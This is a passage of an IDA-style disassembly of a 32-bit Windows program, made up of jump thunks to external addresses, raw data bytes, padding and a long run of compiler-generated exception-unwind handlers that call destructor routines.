E ======================================= ; Attributes: noreturn sub_436F36 proc near ; CODE XREF: sub_42C810+B1p nop jmp near ptr 71AB2B66h sub_436F36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F3C proc near ; CODE XREF: ___:0042C93Fp ; sub_42D580+152p nop jmp near ptr 71AB3B91h sub_436F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F42 proc near nop jmp near ptr 71AB406Ah sub_436F42 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0DAh, 0D4h db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F4E proc near ; CODE XREF: sub_42C790+10p nop jmp near ptr 71AB664Dh sub_436F4E endp ; --------------------------------------------------------------------------- dd 67E16FE9h db 71h, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F5A proc near ; CODE XREF: sub_4338B0+Bp nop jmp near ptr 71AB94DCh sub_436F5A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F60 proc near ; CODE XREF: sub_41A6D0+92p ; sub_41A8C0+CAp ... jmp near ptr 71AB4544h sub_436F60 endp ; --------------------------------------------------------------------------- db 67h, 90h db 0E9h dd 71689BE4h, 0D5A7E990h, 49E97167h, 2D7167BCh, 0BD91E990h dd 0E9907167h, 7167BCE5h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F84 proc near nop jmp near ptr 71AB3EA1h sub_436F84 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 716817D9h, 67D4F4E9h db 71h, 0E3h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F96 proc near ; CODE XREF: sub_42C810+53p ; sub_42C810+C3p nop jmp near ptr 71ABE6EBh sub_436F96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F9C proc near ; CODE XREF: sub_42DFD0+4Ap nop jmp near ptr 71AC0BDEh sub_436F9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FA2 proc near nop jmp near ptr 71AB2A5Eh sub_436FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FA8 proc near ; CODE XREF: ___:0041C1B7p ; ___:0041C1CCp nop jmp near ptr 71B2578Ch sub_436FA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FAE proc near ; CODE XREF: ___:0041C30Dp ; ___:0041C32Fp nop jmp near ptr 71B25099h sub_436FAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FB4 proc near ; CODE XREF: sub_41FF90+B4p nop jmp near ptr 76BF215Ah sub_436FB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FBA proc near ; CODE XREF: sub_41FF90+9Bp nop jmp near ptr 76BF1F1Ch sub_436FBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436FC0 proc near ; CODE XREF: sub_41FF90+21p jmp near ptr 76BF3A9Ah sub_436FC0 endp ; --------------------------------------------------------------------------- db 0C0h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436FC6 proc near ; CODE XREF: ___:0041B1B4p nop jmp near ptr 76F36C5Bh sub_436FC6 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 7Ch, 0F2h dword_436FD0 dd 0E9907780h, 7780F14Dh, 80F193E9h, 3DE99F77h, 0BB7780F3h dd 2C7h dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh, 8DFFFC97h dd 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9705E9h dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh, 0E083FFFFh dd 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h ; --------------------------------------------------------------------------- inc ebx ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4034E0 proc near ; DATA XREF: sub_4034E0+2o mov eax, offset dword_43E470 jmp sub_4367C8 SEH_4034E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9 jmp sub_401AD2 ; --------------------------------------------------------------------------- loc_437B7B: ; DATA XREF: ___:0043E4ECo mov ecx, [ebp-10h] add ecx, 52h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9Bh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E4h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 12Dh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 176h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1BFh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 208h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 251h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 29Ah jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 2E3h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 32Ch jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 375h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 3BEh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 407h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 450h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 499h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4E2h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 52Bh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 574h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 5BDh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 606h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 64Fh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 698h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 6E1h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 72Ah jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 773h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 7BCh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 805h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 84Eh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 897h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8E0h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 929h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 972h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 9BBh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A04h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A4Dh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0A96h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0ADFh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B28h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B71h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0B9Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BCDh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0BFBh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C29h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C57h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0C85h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CB3h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0CE1h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D0Fh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D3Dh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D6Bh jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0D99h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40206D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40206D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40206D ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40206D ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4036D0 proc near ; DATA XREF: sub_4036D0+2o mov eax, offset dword_43E4C0 jmp sub_4367C8 SEH_4036D0 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403C00 proc near ; DATA XREF: sub_403C00+2o mov eax, offset dword_43E700 jmp sub_4367C8 SEH_403C00 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_437FC8: ; DATA XREF: ___:0043E75Co mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403C90 proc near ; DATA XREF: sub_403C90+2o mov eax, offset dword_43E730 jmp sub_4367C8 SEH_403C90 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_437FF8: ; DATA XREF: ___:0043E794o mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403D10 proc near ; DATA XREF: sub_403D10+2o mov eax, offset dword_43E768 jmp sub_4367C8 SEH_403D10 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403D90 proc near ; DATA XREF: sub_403D90+2o mov eax, offset dword_43E7A0 jmp sub_4367C8 SEH_403D90 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401AD2 ; --------------------------------------------------------------------------- loc_438048: ; DATA XREF: ___:0043E7FCo mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AD2 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403E00 proc near ; DATA XREF: sub_403E00+2o mov eax, offset dword_43E7D0 jmp sub_4367C8 SEH_403E00 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401AD2 ; --------------------------------------------------------------------------- loc_4380C8: ; DATA XREF: ___:0043E85Co mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AD2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AD2 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403EE0 proc near ; DATA XREF: sub_403EE0+2o mov eax, offset dword_43E830 jmp sub_4367C8 SEH_403EE0 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403FC0 proc near ; DATA XREF: sub_403FC0+2o mov eax, offset dword_43E890 jmp sub_4367C8 SEH_403FC0 endp ; --------------------------------------------------------------------------- db 2Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438208: ; DATA XREF: ___:0043E974o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404640 proc near ; DATA XREF: sub_404640+2o mov eax, offset dword_43E948 jmp sub_4367C8 SEH_404640 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43828B: ; DATA XREF: ___:0043E9FCo lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438296: ; DATA XREF: ___:0043EA04o lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-134h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E8h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404C70 proc near ; DATA XREF: sub_404C70+8o mov eax, offset dword_43E9D0 jmp sub_4367C8 SEH_404C70 endp ; --------------------------------------------------------------------------- db 8Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_438530: ; DATA XREF: ___:0043EBD4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-28h] and eax, 1 test eax, eax jz locret_43854E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43854E: ; CODE XREF: ___:00438540j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4066E0 proc near ; DATA XREF: sub_4066E0+2o mov eax, offset dword_43EBA8 jmp sub_4367C8 SEH_4066E0 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- loc_438570: ; DATA XREF: ___:0043EC0Co lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-198h] and eax, 1 test eax, eax jz locret_438594 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_438594: ; CODE XREF: ___:00438586j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406890 proc near ; DATA XREF: sub_406890+2o mov eax, offset dword_43EBE0 jmp sub_4367C8 SEH_406890 endp ; --------------------------------------------------------------------------- db 11h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-454h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4385BB: ; DATA XREF: ___:0043EC44o lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4385C6: ; DATA XREF: ___:0043EC4Co lea ecx, [ebp-424h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406C30 proc near ; DATA XREF: sub_406C30+8o mov eax, offset dword_43EC18 jmp sub_4367C8 SEH_406C30 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407030 proc near ; DATA XREF: sub_407030+2o mov eax, offset dword_43EC58 jmp sub_4367C8 SEH_407030 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407660 proc near ; DATA XREF: sub_407660+8o mov eax, offset dword_43EC88 jmp sub_4367C8 SEH_407660 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_438638: ; DATA XREF: ___:0043ECE4o lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4076F0 proc near ; DATA XREF: sub_4076F0+8o mov eax, offset dword_43ECB8 jmp sub_4367C8 SEH_4076F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-174h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43865B: ; DATA XREF: ___:0043ED1Co lea ecx, [ebp-1A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-204h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2C4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-234h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-264h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-294h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-15Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-114h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-144h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-27Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-330h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-318h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-34Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-12Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0FCh] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-300h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2FCh] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407790 proc near ; DATA XREF: sub_407790+2o mov eax, offset dword_43ECF0 jmp sub_4367C8 SEH_407790 endp ; --------------------------------------------------------------------------- db 0CAh dup(0CCh) dd 90C84D8Dh, 0C56A4CE9h db 75h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_409580 proc near ; DATA 